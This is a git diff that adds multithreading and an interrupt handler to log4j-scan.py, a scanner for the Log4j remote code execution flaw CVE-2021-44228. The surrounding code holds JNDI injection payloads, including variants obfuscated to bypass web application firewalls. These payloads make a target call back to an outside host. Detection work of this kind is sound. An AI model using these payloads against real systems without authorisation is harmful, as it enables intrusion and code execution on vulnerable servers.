diff --git a/log4j-scan.py b/log4j-scan.py index b63ab36..b9d5d0d 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -17,6 +17,10 @@ import base64 import json import random +import signal +import requests +import queue +import threading from uuid import uuid4 from base64 import b64encode from Crypto.Cipher import AES, PKCS1_OAEP @@ -32,7 +36,6 @@ except Exception: pass - cprint('[•] CVE-2021-44228 - Apache Log4j RCE Scanner', "green") cprint('[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.', "yellow") cprint('[•] Secure your External Attack Surface with FullHunt.io.', "yellow") @@ -41,7 +44,10 @@ print('\n%s -h for help.' % (sys.argv[0])) exit(0) - +exitFlag = 0 +queueLock = threading.Lock() +workQueue = queue.Queue() +threads = [] default_headers = { 'User-Agent': 'log4j-scan (https://github.com/mazen160/log4j-scan)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36', @@ -49,7 +55,6 @@ } post_data_parameters = ["username", "user", "email", "email_address", "password"] timeout = 4 - waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", "${jndi:rmi://{{callback_host}}}", @@ -109,9 +114,70 @@ dest="custom_dns_callback_host", help="Custom DNS Callback Host.", action='store') +parser.add_argument("-t", "--threads", + dest="threads", + help="Threads number - [Default: 1].", + default=1, + type=int, + action='store') + args = parser.parse_args() +############################################ +############### Ctrl + C ################### +############################################ + +def keyboardInterruptHandler(signal, frame): + global exitFlag + global timeout + cprint('[•] Operation was canceled by user !!!', "red") + while True: + resp = input("[•] Do you want to wait active threads to bring their results? [y/N]").lower() + if resp == 'n' or resp == '': + exit() + elif resp == 'y': + timeout = 0.1 + exitFlag = 1 + cprint('[•] Waiting for active threads to finish...', "red") + break + +signal.signal(signal.SIGINT, keyboardInterruptHandler) + +############################################ +################ Threads ################### +############################################ + +class thread_request (threading.Thread): + + def __init__(self, threadID, q, dns_callback_host, *args, **kwargs): + threading.Thread.__init__(self) + self.threadID = threadID + self.q = q + self.dns_callback_host = dns_callback_host + + def run(self): + + cprint ("[•] Starting thread %s ... " % (self.threadID)) + process_request(self.threadID, self.q, self.dns_callback_host) + cprint ("[•] Exiting thread %s." % (self.threadID)) + +def process_request(threadID, q, dns_callback_host): + global exitFlag + global queueLock + while not exitFlag: + queueLock.acquire() + if not workQueue.empty(): + url = q.get() + queueLock.release() + scan_url(url, dns_callback_host) + + else: + queueLock.release() + +############################################ +################ Exploit ################### +############################################ proxies = {} if args.proxy: @@ -298,6 +364,9 @@ def scan_url(url, callback_host): def main(): + global exitFlag + global workQueue + urls = [] if args.url: urls.append(args.url) @@ -324,9 +393,34 @@ def main(): dns_callback_host = dns_callback.domain cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta") + + workQueue = queue.Queue(len(urls)) + + # Fill the queue + queueLock.acquire() for url in urls: - cprint(f"[•] URL: {url}", "magenta") - scan_url(url, dns_callback_host) + workQueue.put(url) + #cprint(f"[•] URL: {url}", "magenta") + queueLock.release() + + # Create new threads + for t in range(1,args.threads+1): + thread = thread_request(t, workQueue, dns_callback_host) + thread.daemon = True + thread.start() + threads.append(thread) + + # Wait for queue to empty + while not workQueue.empty() and exitFlag == 0: + time.sleep(1) + pass + + # Notify threads it's time to exit + exitFlag = 1 + + # Wait for all threads to complete + for t in threads: + t.join() if args.custom_dns_callback_host: cprint("[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan") @@ -345,9 +439,4 @@ def main(): if __name__ == "__main__": - try: - main() - except KeyboardInterrupt: - print("\nKeyboardInterrupt Detected.") - print("Exiting...") - exit(0) + main()